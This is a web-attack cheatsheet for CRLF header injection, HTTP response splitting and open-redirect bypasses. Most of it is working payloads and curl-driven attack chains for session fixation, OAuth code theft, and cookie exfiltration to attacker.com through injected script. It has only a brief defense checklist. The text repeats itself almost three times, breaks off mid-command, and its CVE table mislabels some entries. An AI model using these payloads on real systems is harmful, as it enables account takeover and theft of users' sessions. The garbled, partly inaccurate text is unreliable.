CRLF Injection & Open Redirect Cheatsheet: Header Injection, HTTP Response Splitting & Redirect Bypass
Thu May 28 2026
Category: Cheatsheet
CRLF Injection — Basics
CRLF (\r\n = %0d%0a) is the HTTP line delimiter. Injecting it into headers lets you add arbitrary headers or split the response.
# Normal request:
GET /page?lang=en HTTP/1.1
Host: target.com
# Vulnerable server reflects lang into Location header:
HTTP/1.1 302 Found
Location: /page?lang=en
# Injected CRLF:
GET /page?lang=en%0d%0aSet-Cookie:%20malicious=1 HTTP/1.1
# Response becomes:
HTTP/1.1 302 Found
Location: /page?lang=en
Set-Cookie: malicious=1 ← injected!
CRLF Injection Payloads
# Basic CRLF sequences
%0d%0a \r\n (standard)
%0a \n (LF only — some servers)
%0d \r (CR only — some servers)
%23%0d%0a #\r\n (after fragment)
%3f%0d%0a ?\r\n (after query)
%0d%0a%09 \r\n\t (tab-folded header)
# Double encoding
%250d%250a
%25%30%64%25%30%61
# Unicode variations
%E5%98%8A%E5%98%8D (UTF-8 multi-byte that decodes to \n\r)
%C0%8D%C0%8A (overlong encoding)
Header Injection
# Inject arbitrary response headers
https://target.com/redirect?url=https://example.com%0d%0aX-Injected: pwned
# Response:
HTTP/1.1 302 Found
Location: https://example.com
X-Injected: pwned
# Set multiple headers
%0d%0aHeader1: value1%0d%0aHeader2: value2
# Inject Cache-Control to cache poisoning
https://target.com/page?input=value%0d%0aCache-Control: max-age=99999
Cookie Injection via CRLF
# Inject a new Set-Cookie header
https://target.com/login?redirect=%0d%0aSet-Cookie:%20admin=1
# Session fixation
https://target.com/login?redirect=%0d%0aSet-Cookie:%20session=ATTACKER_CONTROLLED_TOKEN
# Cookie with HttpOnly and Secure flags missing
https://target.com/page?url=test%0d%0aSet-Cookie:%20auth=attacker_value;%20Path=/
# Steal cookies via XSS cookie injection
https://target.com/set?val=%0d%0aSet-Cookie:%20xss=<script>document.location='https://attacker.com/?c='+document.cookie</script>
HTTP Response Splitting (XSS via CRLF)
# Inject full new HTTP response body
https://target.com/page?url=%0d%0a%0d%0a<script>alert(document.domain)</script>
# Full response splitting (terminate first response, start new one)
GET /page?input=test%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0a%0d%0a<html><script>alert(1)</script></html>
# Response becomes two separate HTTP responses:
# First response: truncated original
# Second response: attacker-controlled
CRLF → XSS Examples
# Inject XSS via header reflection
https://target.com/error?msg=not_found%0d%0aContent-Type:%20text/html%0d%0a%0d%0a<script>alert(1)</script>
# Location header XSS (redirect to javascript:)
https://target.com/redirect?url=%0d%0aLocation:%20javascript:alert(document.cookie)
# Via X-XSS-Protection header injection (disables browser XSS filter in old Chrome)
https://target.com/page?q=term%0d%0aX-XSS-Protection:%200%0d%0a%0d%0a<script>alert(1)</script>
CRLF for Cache Poisoning
# Inject Cache-Control to cache a response forever
https://target.com/page?input=x%0d%0aCache-Control:%20max-age=99999999,%20public
# Inject Vary header manipulation
https://target.com/api/data?q=x%0d%0aVary:%20X-Forwarded-For
# Content-Type override (force HTML parsing)
https://target.com/api/json?cb=x%0d%0aContent-Type:%20text/html%0d%0a%0d%0a<script>alert(1)</script>
Open Redirect — Detection
# Common redirect parameters to test:
?url=
?redirect=
?redirect_uri=
?return=
?returnUrl=
?returnTo=
?next=
?target=
?destination=
?redir=
?ref=
?referer=
?continue=
?goto=
?r=
?link=
?location=
?callback=
?path=
?to=
?u=
# Automated discovery
ffuf -u https://target.com/FUZZ?url=https://attacker.com \
-w /usr/share/wordlists/dirb/common.txt \
-mc 301,302,303,307,308 \
-o open_redirects.txt
# Manual test
curl -s -I "https://target.com/redirect?url=https://attacker.com" | grep -i location
Open Redirect Bypass Techniques
Domain Check Bypass
# If server checks if URL starts with target.com:
https://target.com.attacker.com/ (subdomain confusion)
https://[email protected]/ (user-info trick — @ separator)
https://target.com%[email protected]/ (encoded slash)
https://attacker.com#target.com (fragment — ignored by server)
https://attacker.com?target.com (query — server may check naively)
//attacker.com/ (protocol-relative)
https:///attacker.com/ (extra slash)
https:attacker.com/ (colon without slashes)
Scheme Bypass
# If server blocks http:// and https://:
javascript:alert(1) (XSS via redirect)
data:text/html,<script>alert(1)</script> (data: URI)
vbscript:msgbox(1) (IE only)
//attacker.com (protocol-relative)
# URL scheme confusion
HtTps://attacker.com
HTTPS://attacker.com
https:%09//attacker.com (tab character)
https:%0a//attacker.com (newline injection)
Encoding Bypass
# URL encoding
https://attacker%2ecom/
https://attacker%252ecom/ (double encoded)
# Path confusion
https://target.com/..%2f..%2fattacker.com/
https://target.com///attacker.com/
https://target.com/\attacker.com/ (backslash — Windows servers)
https://target.com\attacker.com/
# Unicode
https://аttacker.com/ (Cyrillic 'a' in domain)
https://attacker.com%E2%81%84path (unicode slash lookalike)
Regex Bypass
# Target regex: ^https?://target\.com
https://target.com.attacker.com/ (appended)
https://notarget.com/ (if no ^ anchor)
https://attacker.com/target.com (path contains domain)
# If regex only checks for "target.com" substring:
https://attacker.com/?redir=target.com
https://evil.com/target.com/path
Open Redirect → Account Takeover Chain
# OAuth redirect_uri manipulation
# 1. Find OAuth login with redirect_uri
https://target.com/auth?response_type=code&client_id=app&redirect_uri=https://target.com/callback
# 2. Replace with attacker URL (if server does weak validation)
https://target.com/auth?response_type=code&client_id=app&redirect_uri=https://attacker.com/steal
# Victim visits → auth code sent to attacker.com → token stolen
# Password reset open redirect → token leakage
# Reset password link:
https://target.com/reset?token=SECRET&redirect=https://target.com/login
# If redirect not validated:
https://target.com/reset?token=SECRET&redirect=https://attacker.com/steal
# Victim clicks email link → token leaked in Referer header to attacker.com
CRLF + Open Redirect Combined
# Redirect to arbitrary location with injected headers
https://target.com/redirect?url=https://example.com%0d%0aSet-Cookie:%20hijacked=1;%20HttpOnly%0d%0aX-Injected-By: attacker
# Response:
HTTP/1.1 302 Found
Location: https://example.com
Set-Cookie: hijacked=1; HttpOnly
X-Injected-By: attacker
Real-World Examples
| CVE / Incident | Year | Product | Impact |
|---|---|---|---|
| CVE-2011-3490 | 2011 | Apache Traffic Server | CRLF injection → HTTP response splitting → cache poisoning |
| CVE-2019-9955 | 2019 | Fortinet FortiGate | Open redirect in SSL VPN portal → credential phishing |
| HackerOne Open Redirect | 2019 | HackerOne | next param redirect → OAuth token leakage → account takeover |
| CVE-2020-11023 | 2020 | jQuery | Open redirect in $.ajax URL handling |
| Slack Open Redirect | 2020 | Slack SAML | Open redirect in SSO → SAML response interception → $7,500 |
| Twitter Open Redirect | 2020 | Twitter OAuth | redirect_uri bypass → OAuth token exfiltration |
| Spring CVE-2022-22965 | 2022 | Spring Framework | CRLF injection in response headers → cache poisoning |
Example: CRLF Injection → Session Hijacking
# Target: vulnerable redirect endpoint that reflects URL into Location header
# Step 1: Confirm CRLF injection
curl -si "https://target.com/redirect?url=test%0d%0aSet-Cookie:%20session=HACKED" | head -20
# Response headers include:
# Location: test
# Set-Cookie: session=HACKED
# Step 2: Craft payload for session fixation
PAYLOAD="test%0d%0aSet-Cookie:%20session=attacker_known_token;%20Path=/;%20HttpOnly"
curl -si "https://target.com/redirect?url=$PAYLOAD" | grep -i "set-cookie"
# Step 3: Send victim a link
# https://target.com/redirect?url=test%0d%0aSet-Cookie:%20session=attacker_known_token
# Victim clicks → their browser stores our session token → we're logged in as them
# Step 4: Use the fixed session
curl -b "session=attacker_known_token" https://target.com/dashboard
Example: Open Redirect — OAuth Token Theft
# Step 1: Identify OAuth flow
curl -si "https://target.com/auth/google?redirect_uri=https://target.com/callback" | grep location
# Step 2: Test redirect_uri bypass
curl -si "https://target.com/auth/google?redirect_uri=https://attacker.com/steal" | grep location
# If 302 → https://accounts.google.com/...&redirect_uri=https%3A%2F%2Fattacker.com%2Fsteal
# → redirect_uri accepted!
# Step 3: Craft phishing URL
PHISH="https://target.com/auth/google?redirect_uri=https://attacker.com/steal&response_type=code"
# Step 4: On attacker.com/steal — capture the auth code
# When victim visits PHISH:
# 1. Google redirects → https://attacker.com/steal?code=AUTH_CODE
# 2. Exchange code for token
curl -X POST https://oauth2.googleapis.com/token \
-d "code=AUTH_CODE&client_id=TARGET_CLIENT_ID&client_secret=TARGET_SECRET&redirect_uri=https://attacker.com/steal&grant_type=authorization_code"
# Returns access_token for victim's account
Example: Twitter — Open Redirect in OAuth (Bug Bounty)
# Twitter's OAuth /authorize endpoint had open redirect in error_uri
# Step 1: Craft malicious OAuth URL
curl -si "https://api.twitter.com/oauth/authorize?oauth_token=invalid&error_uri=https://attacker.com" | grep -i location
# Response: Location: https://attacker.com ← OPEN REDIRECT!
# Step 2: Host phishing page on attacker.com that looks like Twitter login
# Step 3: Victims who click see twitter.com URL (they trust it) → redirected → phished
# Reported via Twitter bug bounty — fix: validate error_uri against allowlist
Example: CRLF → XSS via Header Injection
# Target: URL parameter reflected into custom response header
# e.g., GET /track?ref=homepage → Response: X-Referrer: homepage
# Step 1: Inject CRLF + Content-Type override
curl -si "https://target.com/track?ref=homepage%0d%0aContent-Type:%20text/html%0d%0a%0d%0a<script>alert(document.domain)</script>"
# Response:
# HTTP/1.1 200 OK
# X-Referrer: homepage
# Content-Type: text/html
#
# <script>alert(document.domain)</script>
# (Browser renders as HTML → XSS!)
# Step 2: Use this to bypass CSP by injecting CSP header
curl -si "https://target.com/track?ref=x%0d%0aContent-Security-Policy:%20default-src%20*%0d%0aContent-Type:%20text/html%0d%0a%0d%0a<script>fetch('https://attacker.com/?d='+document.cookie)</script>"
Example: Slack SAML — Open Redirect to SSO Bypass ($7,500)
# Slack's SAML SSO had open redirect in RelayState parameter
# RelayState is passed through IdP → SP and used for final redirect
# Step 1: Initiate SAML SSO with malicious RelayState
curl -si "https://target.slack.com/sso/saml?redir=https://attacker.com/steal" | grep -i location
# Step 2: Complete SAML auth flow — SAMLResponse sent to Slack
# Slack validates SAML assertion (success)
# Then redirects to RelayState value: https://attacker.com/steal
# → SAML response (with sensitive token) leaked via Referer header!
# This is the SAML relay-state open redirect class of bugs
# Fix: validate RelayState against allowed domains before redirecting
Automated Testing
# CRLF injection scanner
python3 crlfuzz.py -u https://target.com/redirect?url=FUZZ
# Open redirect scanner (via Nuclei)
nuclei -u https://target.com -t exposures/redirect/open-redirect.yaml
# Manual one-liner — test common redirect params
for param in url redirect return next target destination goto; do
echo -n "$param → "
curl -s -I "https://target.com/login?$param=https://attacker.com" \
| grep -i "^location:" || echo "not reflected"
done
Defense Checklist
CRLF:
- Strip or reject
\r(%0d) and\n(%0a) from any value reflected into HTTP headers - Use a web framework that auto-sanitizes headers
- Never reflect user input directly into
Location,Set-Cookie, or custom headers - Encode output before placing in headers
Open Redirect:
- Use a whitelist of allowed redirect destinations
- Validate full URL (scheme + host + path) — not just prefix or suffix
- For OAuth: enforce exact
redirect_urimatching (no wildcards, no subdomain patterns) - Use relative paths for internal redirects (
/dashboardnothttps://...) - Add a warning interstitial page for external redirects
References
CRLF Injection — Basics
CRLF (\r\n = %0d%0a) is the HTTP line delimiter. Injecting it into headers lets you add arbitrary headers or split the response.
# Normal request:
GET /page?lang=en HTTP/1.1
Host: target.com
# Vulnerable server reflects lang into Location header:
HTTP/1.1 302 Found
Location: /page?lang=en
# Injected CRLF:
GET /page?lang=en%0d%0aSet-Cookie:%20malicious=1 HTTP/1.1
# Response becomes:
HTTP/1.1 302 Found
Location: /page?lang=en
Set-Cookie: malicious=1 ← injected!
CRLF Injection Payloads
# Basic CRLF sequences
%0d%0a \r\n (standard)
%0a \n (LF only — some servers)
%0d \r (CR only — some servers)
%23%0d%0a #\r\n (after fragment)
%3f%0d%0a ?\r\n (after query)
%0d%0a%09 \r\n\t (tab-folded header)
# Double encoding
%250d%250a
%25%30%64%25%30%61
# Unicode variations
%E5%98%8A%E5%98%8D (UTF-8 multi-byte that decodes to \n\r)
%C0%8D%C0%8A (overlong encoding)
Header Injection
# Inject arbitrary response headers
https://target.com/redirect?url=https://example.com%0d%0aX-Injected: pwned
# Response:
HTTP/1.1 302 Found
Location: https://example.com
X-Injected: pwned
# Set multiple headers
%0d%0aHeader1: value1%0d%0aHeader2: value2
# Inject Cache-Control to cache poisoning
https://target.com/page?input=value%0d%0aCache-Control: max-age=99999
Cookie Injection via CRLF
# Inject a new Set-Cookie header
https://target.com/login?redirect=%0d%0aSet-Cookie:%20admin=1
# Session fixation
https://target.com/login?redirect=%0d%0aSet-Cookie:%20session=ATTACKER_CONTROLLED_TOKEN
# Cookie with HttpOnly and Secure flags missing
https://target.com/page?url=test%0d%0aSet-Cookie:%20auth=attacker_value;%20Path=/
# Steal cookies via XSS cookie injection
https://target.com/set?val=%0d%0aSet-Cookie:%20xss=<script>document.location='https://attacker.com/?c='+document.cookie</script>
HTTP Response Splitting (XSS via CRLF)
# Inject full new HTTP response body
https://target.com/page?url=%0d%0a%0d%0a<script>alert(document.domain)</script>
# Full response splitting (terminate first response, start new one)
GET /page?input=test%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0a%0d%0a<html><script>alert(1)</script></html>
# Response becomes two separate HTTP responses:
# First response: truncated original
# Second response: attacker-controlled
CRLF → XSS Examples
# Inject XSS via header reflection
https://target.com/error?msg=not_found%0d%0aContent-Type:%20text/html%0d%0a%0d%0a<script>alert(1)</script>
# Location header XSS (redirect to javascript:)
https://target.com/redirect?url=%0d%0aLocation:%20javascript:alert(document.cookie)
# Via X-XSS-Protection header injection (disables browser XSS filter in old Chrome)
https://target.com/page?q=term%0d%0aX-XSS-Protection:%200%0d%0a%0d%0a<script>alert(1)</script>
CRLF for Cache Poisoning
# Inject Cache-Control to cache a response forever
https://target.com/page?input=x%0d%0aCache-Control:%20max-age=99999999,%20public
# Inject Vary header manipulation
https://target.com/api/data?q=x%0d%0aVary:%20X-Forwarded-For
# Content-Type override (force HTML parsing)
https://target.com/api/json?cb=x%0d%0aContent-Type:%20text/html%0d%0a%0d%0a<script>alert(1)</script>
Open Redirect — Detection
# Common redirect parameters to test:
?url=
?redirect=
?redirect_uri=
?return=
?returnUrl=
?returnTo=
?next=
?target=
?destination=
?redir=
?ref=
?referer=
?continue=
?goto=
?r=
?link=
?location=
?callback=
?path=
?to=
?u=
# Automated discovery
ffuf -u https://target.com/FUZZ?url=https://attacker.com \
-w /usr/share/wordlists/dirb/common.txt \
-mc 301,302,303,307,308 \
-o open_redirects.txt
# Manual test
curl -s -I "https://target.com/redirect?url=https://attacker.com" | grep -i location
Open Redirect Bypass Techniques
Domain Check Bypass
# If server checks if URL starts with target.com:
https://target.com.attacker.com/ (subdomain confusion)
https://[email protected]/ (user-info trick — @ separator)
https://target.com%[email protected]/ (encoded slash)
https://attacker.com#target.com (fragment — ignored by server)
https://attacker.com?target.com (query — server may check naively)
//attacker.com/ (protocol-relative)
https:///attacker.com/ (extra slash)
https:attacker.com/ (colon without slashes)
Scheme Bypass
# If server blocks http:// and https://:
javascript:alert(1) (XSS via redirect)
data:text/html,<script>alert(1)</script> (data: URI)
vbscript:msgbox(1) (IE only)
//attacker.com (protocol-relative)
# URL scheme confusion
HtTps://attacker.com
HTTPS://attacker.com
https:%09//attacker.com (tab character)
https:%0a//attacker.com (newline injection)
Encoding Bypass
# URL encoding
https://attacker%2ecom/
https://attacker%252ecom/ (double encoded)
# Path confusion
https://target.com/..%2f..%2fattacker.com/
https://target.com///attacker.com/
https://target.com/\attacker.com/ (backslash — Windows servers)
https://target.com\attacker.com/
# Unicode
https://аttacker.com/ (Cyrillic 'a' in domain)
https://attacker.com%E2%81%84path (unicode slash lookalike)
Regex Bypass
# Target regex: ^https?://target\.com
https://target.com.attacker.com/ (appended)
https://notarget.com/ (if no ^ anchor)
https://attacker.com/target.com (path contains domain)
# If regex only checks for "target.com" substring:
https://attacker.com/?redir=target.com
https://evil.com/target.com/path
Open Redirect → Account Takeover Chain
# OAuth redirect_uri manipulation
# 1. Find OAuth login with redirect_uri
https://target.com/auth?response_type=code&client_id=app&redirect_uri=https://target.com/callback
# 2. Replace with attacker URL (if server does weak validation)
https://target.com/auth?response_type=code&client_id=app&redirect_uri=https://attacker.com/steal
# Victim visits → auth code sent to attacker.com → token stolen
# Password reset open redirect → token leakage
# Reset password link:
https://target.com/reset?token=SECRET&redirect=https://target.com/login
# If redirect not validated:
https://target.com/reset?token=SECRET&redirect=https://attacker.com/steal
# Victim clicks email link → token leaked in Referer header to attacker.com
CRLF + Open Redirect Combined
# Redirect to arbitrary location with injected headers
https://target.com/redirect?url=https://example.com%0d%0aSet-Cookie:%20hijacked=1;%20HttpOnly%0d%0aX-Injected-By: attacker
# Response:
HTTP/1.1 302 Found
Location: https://example.com
Set-Cookie: hijacked=1; HttpOnly
X-Injected-By: attacker
Real-World Examples
| CVE / Incident | Year | Product | Impact |
|---|---|---|---|
| CVE-2011-3490 | 2011 | Apache Traffic Server | CRLF injection → HTTP response splitting → cache poisoning |
| CVE-2019-9955 | 2019 | Fortinet FortiGate | Open redirect in SSL VPN portal → credential phishing |
| HackerOne Open Redirect | 2019 | HackerOne | next param redirect → OAuth token leakage → account takeover |
| CVE-2020-11023 | 2020 | jQuery | Open redirect in $.ajax URL handling |
| Slack Open Redirect | 2020 | Slack SAML | Open redirect in SSO → SAML response interception → $7,500 |
| Twitter Open Redirect | 2020 | Twitter OAuth | redirect_uri bypass → OAuth token exfiltration |
| Spring CVE-2022-22965 | 2022 | Spring Framework | CRLF injection in response headers → cache poisoning |
Example: CRLF Injection → Session Hijacking
# Target: vulnerable redirect endpoint that reflects URL into Location header
# Step 1: Confirm CRLF injection
curl -si "https://target.com/redirect?url=test%0d%0aSet-Cookie:%20session=HACKED" | head -20
# Response headers include:
# Location: test
# Set-Cookie: session=HACKED
# Step 2: Craft payload for session fixation
PAYLOAD="test%0d%0aSet-Cookie:%20session=attacker_known_token;%20Path=/;%20HttpOnly"
curl -si "https://target.com/redirect?url=$PAYLOAD" | grep -i "set-cookie"
# Step 3: Send victim a link
# https://target.com/redirect?url=test%0d%0aSet-Cookie:%20session=attacker_known_token
# Victim clicks → their browser stores our session token → we're logged in as them
# Step 4: Use the fixed session
curl -b "session=attacker_known_token" https://target.com/dashboard
Example: Open Redirect — OAuth Token Theft
# Step 1: Identify OAuth flow
curl -si "https://target.com/auth/google?redirect_uri=https://target.com/callback" | grep location
# Step 2: Test redirect_uri bypass
curl -si "https://target.com/auth/google?redirect_uri=https://attacker.com/steal" | grep location
# If 302 → https://accounts.google.com/...&redirect_uri=https%3A%2F%2Fattacker.com%2Fsteal
# → redirect_uri accepted!
# Step 3: Craft phishing URL
PHISH="https://target.com/auth/google?redirect_uri=https://attacker.com/steal&response_type=code"
# Step 4: On attacker.com/steal — capture the auth code
# When victim visits PHISH:
# 1. Google redirects → https://attacker.com/steal?code=AUTH_CODE
# 2. Exchange code for token
curl -X POST https://oauth2.googleapis.com/token \
-d "code=AUTH_CODE&client_id=TARGET_CLIENT_ID&client_secret=TARGET_SECRET&redirect_uri=https://attacker.com/steal&grant_type=authorization_code"
# Returns access_token for victim's account
Example: Twitter — Open Redirect in OAuth (Bug Bounty)
# Twitter's OAuth /authorize endpoint had open redirect in error_uri
# Step 1: Craft malicious OAuth URL
curl -si "https://api.twitter.com/oauth/authorize?oauth_token=invalid&error_uri=https://attacker.com" | grep -i location
# Response: Location: https://attacker.com ← OPEN REDIRECT!
# Step 2: Host phishing page on attacker.com that looks like Twitter login
# Step 3: Victims who click see twitter.com URL (they trust it) → redirected → phished
# Reported via Twitter bug bounty — fix: validate error_uri against allowlist
Example: CRLF → XSS via Header Injection
# Target: URL parameter reflected into custom response header
# e.g., GET /track?ref=homepage → Response: X-Referrer: homepage
# Step 1: Inject CRLF + Content-Type override
curl -si "https://target.com/track?ref=homepage%0d%0aContent-Type:%20text/html%0d%0a%0d%0a<script>alert(document.domain)</script>"
# Response:
# HTTP/1.1 200 OK
# X-Referrer: homepage
# Content-Type: text/html
#
# <script>alert(document.domain)</script>
# (Browser renders as HTML → XSS!)
# Step 2: Use this to bypass CSP by injecting CSP header
curl -si "https://target.com/track?ref=x%0d%0aContent-Security-Policy:%20default-src%20*%0d%0aContent-Type:%20text/html%0d%0a%0d%0a<script>fetch('https://attacker.com/?d='+document.cookie)</script>"
Example: Slack SAML — Open Redirect to SSO Bypass ($7,500)
# Slack's SAML SSO had open redirect in RelayState parameter
# RelayState is passed through IdP → SP and used for final redirect
# Step 1: Initiate SAML SSO with malicious RelayState
curl -si "https://target.slack.com/sso/saml?redir=https://attacker.com/steal" | grep -i location
# Step 2: Complete SAML auth flow — SAMLResponse sent to Slack
# Slack validates SAML assertion (success)
# Then redirects to RelayState value: https://attacker.com/steal
# → SAML response (with sensitive token) leaked via Referer header!
# This is the SAML relay-state open redirect class of bugs
# Fix: validate RelayState against allowed domains before redirecting
Automated Testing
# CRLF injection scanner
python3 crlfuzz.py -u https://target.com/redirect?url=FUZZ
# Open redirect scanner (via Nuclei)
nuclei -u https://target.com -t exposures/redirect/open-redirect.yaml
# Manual one-liner — test common redirect params
for param in url redirect return next target destination goto; do
echo -n "$param → "
curl -s -I "https://target.com/login?$param=https://attacker.com" \
| grep -i "^location:" || echo "not reflected"
done
Defense Checklist
CRLF:
- Strip or reject
\r(%0d) and\n(%0a) from any value reflected into HTTP headers - Use a web framework that auto-sanitizes headers
- Never reflect user input directly into
Location,Set-Cookie, or custom headers - Encode output before placing in headers
Open Redirect:
- Use a whitelist of allowed redirect destinations
- Validate full URL (scheme + host + path) — not just prefix or suffix
- For OAuth: enforce exact
redirect_urimatching (no wildcards, no subdomain patterns) - Use relative paths for internal redirects (
/dashboardnothttps://...) - Add a warning interstitial page for external redirects
References
- PortSwigger HTTP Response Splitting
- PortSwigger Open Redirection
- PayloadsAllTheThings Open Redirect
- HackTricks CRLF Injection
CRLF Injection — Basics
CRLF (\r\n = %0d%0a) is the HTTP line delimiter. Injecting it into headers lets you add arbitrary headers or split the response.
# Normal request:
GET /page?lang=en HTTP/1.1
Host: target.com
# Vulnerable server reflects lang into Location header:
HTTP/1.1 302 Found
Location: /page?lang=en
# Injected CRLF:
GET /page?lang=en%0d%0aSet-Cookie:%20malicious=1 HTTP/1.1
# Response becomes:
HTTP/1.1 302 Found
Location: /page?lang=en
Set-Cookie: malicious=1 ← injected!
CRLF Injection Payloads
# Basic CRLF sequences
%0d%0a \r\n (standard)
%0a \n (LF only — some servers)
%0d \r (CR only — some servers)
%23%0d%0a #\r\n (after fragment)
%3f%0d%0a ?\r\n (after query)
%0d%0a%09 \r\n\t (tab-folded header)
# Double encoding
%250d%250a
%25%30%64%25%30%61
# Unicode variations
%E5%98%8A%E5%98%8D (UTF-8 multi-byte that decodes to \n\r)
%C0%8D%C0%8A (overlong encoding)
Header Injection
# Inject arbitrary response headers
https://target.com/redirect?url=https://example.com%0d%0aX-Injected: pwned
# Response:
HTTP/1.1 302 Found
Location: https://example.com
X-Injected: pwned
# Set multiple headers
%0d%0aHeader1: value1%0d%0aHeader2: value2
# Inject Cache-Control to cache poisoning
https://target.com/page?input=value%0d%0aCache-Control: max-age=99999
Cookie Injection via CRLF
# Inject a new Set-Cookie header
https://target.com/login?redirect=%0d%0aSet-Cookie:%20admin=1
# Session fixation
https://target.com/login?redirect=%0d%0aSet-Cookie:%20session=ATTACKER_CONTROLLED_TOKEN
# Cookie with HttpOnly and Secure flags missing
https://target.com/page?url=test%0d%0aSet-Cookie:%20auth=attacker_value;%20Path=/
# Steal cookies via XSS cookie injection
https://target.com/set?val=%0d%0aSet-Cookie:%20xss=<script>document.location='https://attacker.com/?c='+document.cookie</script>
HTTP Response Splitting (XSS via CRLF)
# Inject full new HTTP response body
https://target.com/page?url=%0d%0a%0d%0a<script>alert(document.domain)</script>
# Full response splitting (terminate first response, start new one)
GET /page?input=test%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0a%0d%0a<html><script>alert(1)</script></html>
# Response becomes two separate HTTP responses:
# First response: truncated original
# Second response: attacker-controlled
CRLF → XSS Examples
# Inject XSS via header reflection
https://target.com/error?msg=not_found%0d%0aContent-Type:%20text/html%0d%0a%0d%0a<script>alert(1)</script>
# Location header XSS (redirect to javascript:)
https://target.com/redirect?url=%0d%0aLocation:%20javascript:alert(document.cookie)
# Via X-XSS-Protection header injection (disables browser XSS filter in old Chrome)
https://target.com/page?q=term%0d%0aX-XSS-Protection:%200%0d%0a%0d%0a<script>alert(1)</script>
CRLF for Cache Poisoning
# Inject Cache-Control to cache a response forever
https://target.com/page?input=x%0d%0aCache-Control:%20max-age=99999999,%20public
# Inject Vary header manipulation
https://target.com/api/data?q=x%0d%0aVary:%20X-Forwarded-For
# Content-Type override (force HTML parsing)
https://target.com/api/json?cb=x%0d%0aContent-Type:%20text/html%0d%0a%0d%0a<script>alert(1)</script>
Open Redirect — Detection
# Common redirect parameters to test:
?url=
?redirect=
?redirect_uri=
?return=
?returnUrl=
?returnTo=
?next=
?target=
?destination=
?redir=
?ref=
?referer=
?continue=
?goto=
?r=
?link=
?location=
?callback=
?path=
?to=
?u=
# Automated discovery
ffuf -u https://target.com/FUZZ?url=https://attacker.com \
-w /usr/share/wordlists/dirb/common.txt \
-mc 301,302,303,307,308 \
-o open_redirects.txt
# Manual test
curl -s -I "https://target.com/redirect?url=https://attacker.com" | grep -i location
Open Redirect Bypass Techniques
Domain Check Bypass
# If server checks if URL starts with target.com:
https://target.com.attacker.com/ (subdomain confusion)
https://[email protected]/ (user-info trick — @ separator)
https://target.com%[email protected]/ (encoded slash)
https://attacker.com#target.com (fragment — ignored by server)
https://attacker.com?target.com (query — server may check naively)
//attacker.com/ (protocol-relative)
https:///attacker.com/ (extra slash)
https:attacker.com/ (colon without slashes)
Scheme Bypass
# If server blocks http:// and https://:
javascript:alert(1) (XSS via redirect)
data:text/html,<script>alert(1)</script> (data: URI)
vbscript:msgbox(1) (IE only)
//attacker.com (protocol-relative)
# URL scheme confusion
HtTps://attacker.com
HTTPS://attacker.com
https:%09//attacker.com (tab character)
https:%0a//attacker.com (newline injection)
Encoding Bypass
# URL encoding
https://attacker%2ecom/
https://attacker%252ecom/ (double encoded)
# Path confusion
https://target.com/..%2f..%2fattacker.com/
https://target.com///attacker.com/
https://target.com/\attacker.com/ (backslash — Windows servers)
https://target.com\attacker.com/
# Unicode
https://аttacker.com/ (Cyrillic 'a' in domain)
https://attacker.com%E2%81%84path (unicode slash lookalike)
Regex Bypass
# Target regex: ^https?://target\.com
https://target.com.attacker.com/ (appended)
https://notarget.com/ (if no ^ anchor)
https://attacker.com/target.com (path contains domain)
# If regex only checks for "target.com" substring:
https://attacker.com/?redir=target.com
https://evil.com/target.com/path
Open Redirect → Account Takeover Chain
# OAuth redirect_uri manipulation
# 1. Find OAuth login with redirect_uri
https://target.com/auth?response_type=code&client_id=app&redirect_uri=https://target.com/callback
# 2. Replace with attacker URL (if server does weak validation)
https://target.com/auth?response_type=code&client_id=app&redirect_uri=https://attacker.com/steal
# Victim visits → auth code sent to attacker.com → token stolen
# Password reset open redirect → token leakage
# Reset password link:
https://target.com/reset?token=SECRET&redirect=https://target.com/login
# If redirect not validated:
https://target.com/reset?token=SECRET&redirect=https://attacker.com/steal
# Victim clicks email link → token leaked in Referer header to attacker.com
CRLF + Open Redirect Combined
# Redirect to arbitrary location with injected headers
https://target.com/redirect?url=https://example.com%0d%0aSet-Cookie:%20hijacked=1;%20HttpOnly%0d%0aX-Injected-By: attacker
# Response:
HTTP/1.1 302 Found
Location: https://example.com
Set-Cookie: hijacked=1; HttpOnly
X-Injected-By: attacker
Real-World Examples
| CVE / Incident | Year | Product | Impact |
|---|---|---|---|
| CVE-2011-3490 | 2011 | Apache Traffic Server | CRLF injection → HTTP response splitting → cache poisoning |
| CVE-2019-9955 | 2019 | Fortinet FortiGate | Open redirect in SSL VPN portal → credential phishing |
| HackerOne Open Redirect | 2019 | HackerOne | next param redirect → OAuth token leakage → account takeover |
| CVE-2020-11023 | 2020 | jQuery | Open redirect in $.ajax URL handling |
| Slack Open Redirect | 2020 | Slack SAML | Open redirect in SSO → SAML response interception → $7,500 |
| Twitter Open Redirect | 2020 | Twitter OAuth | redirect_uri bypass → OAuth token exfiltration |
| Spring CVE-2022-22965 | 2022 | Spring Framework | CRLF injection in response headers → cache poisoning |
Example: CRLF Injection → Session Hijacking
# Target: vulnerable redirect endpoint that reflects URL into Location header
# Step 1: Confirm CRLF injection
curl -si "https://target.com/redirect?url=test%0d%0aSet-Cookie:%20session=HACKED" | head -20
# Response headers include:
# Location: test
# Set-Cookie: session=HACKED
# Step 2: Craft payload for session fixation
PAYLOAD="test%0d%0aSet-Cookie:%20session=attacker_known_token;%20Path=/;%20HttpOnly"
curl -si "https://target.com/redirect?url=$PAYLOAD" | grep -i "set-cookie"
# Step 3: Send victim a link
# https://target.com/redirect?url=test%0d%0aSet-Cookie:%20session=attacker_known_token
# Victim clicks → their browser stores our session token → we're logged in as them
# Step 4: Use the fixed session
curl -b "session=attacker_known_token" https://target.com/dashboard
Example: Open Redirect — OAuth Token Theft
# Step 1: Identify OAuth flow
curl -si "https://target.com/auth/google?redirect_uri=https://target.com/callback" | grep location
# Step 2: Test redirect_uri bypass
curl -si "https://target.com/auth/google?redirect_uri=https://attacker.com/steal" | grep location
# If 302 → https://accounts.google.com/...&redirect_uri=https%3A%2F%2Fattacker.com%2Fsteal
# → redirect_uri accepted!
# Step 3: Craft phishing URL
PHISH="https://target.com/auth/google?redirect_uri=https://attacker.com/steal&response_type=code"
# Step 4: On attacker.com/steal — capture the auth code
# When victim visits PHISH:
# 1. Google redirects → https://attacker.com/steal?code=AUTH_CODE
# 2. Exchange code for token
curl -X POST https://oauth2.googleapis.com/token \
